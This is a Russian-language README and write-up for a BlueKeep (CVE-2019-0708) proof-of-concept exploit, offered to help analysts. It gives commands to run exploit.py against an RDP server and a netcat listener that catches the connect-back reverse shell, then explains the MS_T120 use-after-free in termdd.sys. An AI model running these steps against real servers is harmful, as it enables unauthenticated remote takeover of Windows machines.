
Концепт-доказательство для CVE-2019-0708 (BlueKeep), позволяющее выполнить RCE без аутентификации на Windows7.
Этот репозиторий демонстрирует ошибку удаленного выполнения кода в службах удаленных рабочих столов Windows (RDS).
Здесь представлен код POC и технический отчет об уязвимости BlueKeep, который мы разработали ранее.
Примечание: Наша цель — помочь аналитикам лучше понять критические уязвимости.
Наш эксплойт написан на Python 3 и использует библиотеку PyRDP.
Пожалуйста, настройте их в соответствии с руководством по установке PyRDP.
В настоящее время наш эксплойт нацелен и протестирован на Windows 7 SP 1 (6.1.7601) x64 в Virtual Box.
Если ваш компьютер имеет IP-адрес 192.168.56.1 и вы атакуете RDP-сервер по адресу example.com:1234, введите:
$ python exploit.py example.com -rp 1234 192.168.56.1
Если скрипт успешно эксплуатирует сервер, connect-back shellcode инициирует TCP-соединение от сервера обратно к 192.168.56.1:4444. Поэтому, например, вы должны ожидать соединения с помощью netcat:
$ nc -v -l 4444
Если вы хотите изменить номер порта, к которому сервер подключается обратно, используйте опцию -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
В мае 2019 года Microsoft раскрыла критическую уязвимость удаленного выполнения кода CVE-2019-0708 в службах удаленных рабочих столов (ранее известных как терминальные службы). Эта уязвимость является предварительной аутентификацией — это означает, что уязвимость может распространяться как червь и способна вызвать массовые сбои.
Злоумышленник может использовать эту уязвимость, отправляя специально созданные сообщения протокола удаленного рабочего стола (RDP) на целевой сервер и получая произвольное выполнение кода с правами администратора.
Службы удаленных рабочих столов Microsoft предоставляют пользователю возможность удаленно открывать интерактивные сеансы Windows. Они отображают рабочий стол пользователя Windows, взаимодействуя с клиентом с помощью протокола удаленного рабочего стола (RDP) через порт 3389/TCP.
Протокол RDP может быть расширен с помощью программных расширений, называемых виртуальными каналами. Примеры функциональных улучшений могут включать: поддержку специальных типов оборудования, аудио или других дополнений к основной функциональности.
Эти каналы включают стандартные каналы Microsoft, такие как "rdpdr" (перенаправление), "rdpsnd" (звук), "cliprdr" (общий буфер обмена) и т.д. Пользователи могут писать модули с использованием API RDP для поддержки других каналов. В дополнение к вышеупомянутым каналам Microsoft создает два канала по умолчанию: MS_T120 (используется для самого RDP) и CTXTW (используется в Citrix ICA).
Уязвимость связана с процессом привязки виртуальных каналов MS_T120 через запрос "MCS Connect Initial и GCC Create".
Дополнительная информация доступна в ZDI.
Как упоминалось в статье ZDI, все виртуальные каналы, запрошенные клиентом, создаются с помощью termdd!IcaCreateChannel(). Затем указатели на эти структуры каналов хранятся в таблице, которую мы будем называть ChannelPointerTable.
При установке соединения с RDP-клиентом все статические виртуальные каналы, включая MS_T120, инициализируются внутренне сервером RDP Windows и указываются ChannelPointerTable.
Запрос на создание MS_T120 и CTXTW выполняется rdpcore!WDLIB_IcaVirtualQueryBindings().
Рис. 1: Формирование запроса на создание MS_T120 и CTXTW
После передачи запроса в termdd!IcaBindVirtualChannels() структура виртуального канала создается в termdd!IcaAllocateChannel() и регистрируется в ChannelPointerTable.
Рис. 2: Создание и регистрация структуры виртуального канала
Функция termdd!IcaBindChannel() отвечает за регистрацию структуры виртуального канала в ChannelPointerTable.

Вот стек вызовов на Windows 7 x64, когда termdd!IcaBindChannel() вызывается с первым аргументом "MS_T120" и третьим аргументом 0x1f.
Рис. 3: MS_T120 привязывается к слоту 0x1f во время начального запроса
Тогда ChannelPointerTable выглядит следующим образом. Обратите внимание, что MS_T120 всегда присутствует в Слоте 0x1F.
Рис. 4: ChannelPointerTable во время начального запроса
Уязвимость типа use-after-free существует в драйвере ядра RDP Windows, termdd.sys.
Проблема в том, что когда клиент указывает канал с именем MS_T120\x00 во время "MCS Connect Initial и GCC Create", termdd!IcaCreateChannel() вызывает termdd!IcaFindChannelByName() и возвращает
существующую структуру канала MS_T120 в слоте 0x1F. Затем эта структура канала считается новой записью виртуального канала и сохраняется в другом слоте (в данном примере, Слот 2) во время "MCS Attach User Request".
Вот стек вызовов на Windows 7 x64, когда termdd!IcaBindChannel() вызывается с первым аргументом "MS_T120" и третьим аргументом 0x2.
Рис. 5: MS_T120 также привязывается к слоту 0x2 во время запроса присоединения
Другими словами, структура канала MS_T120 указывается двумя слотами 0x1F и 0x2.
Рис. 6: ChannelPointerTable во время запроса присоединения
Если злоумышленник затем отправляет недопустимые данные в канал MS_T120, termdd.sys закрывает канал с помощью termdd!IcaCloseChannel() и очищает указатель в слоте (в данном примере Слот 2).
Однако тот же указатель в слоте 0x1F не очищается.
Впоследствии, при завершении соединения, вызывается RDPWD!HandleDisconnectProviderUlt(), который, в свою очередь, вызывает termdd!IcaChannelInputInternal() и снова пытается уничтожить освобожденную структуру канала MS_T120, используя указатель в слоте 0x1F. Процедура уничтожения вызывается через указатель vtable внутри структуры канала. Это приводит к состоянию use-after-free.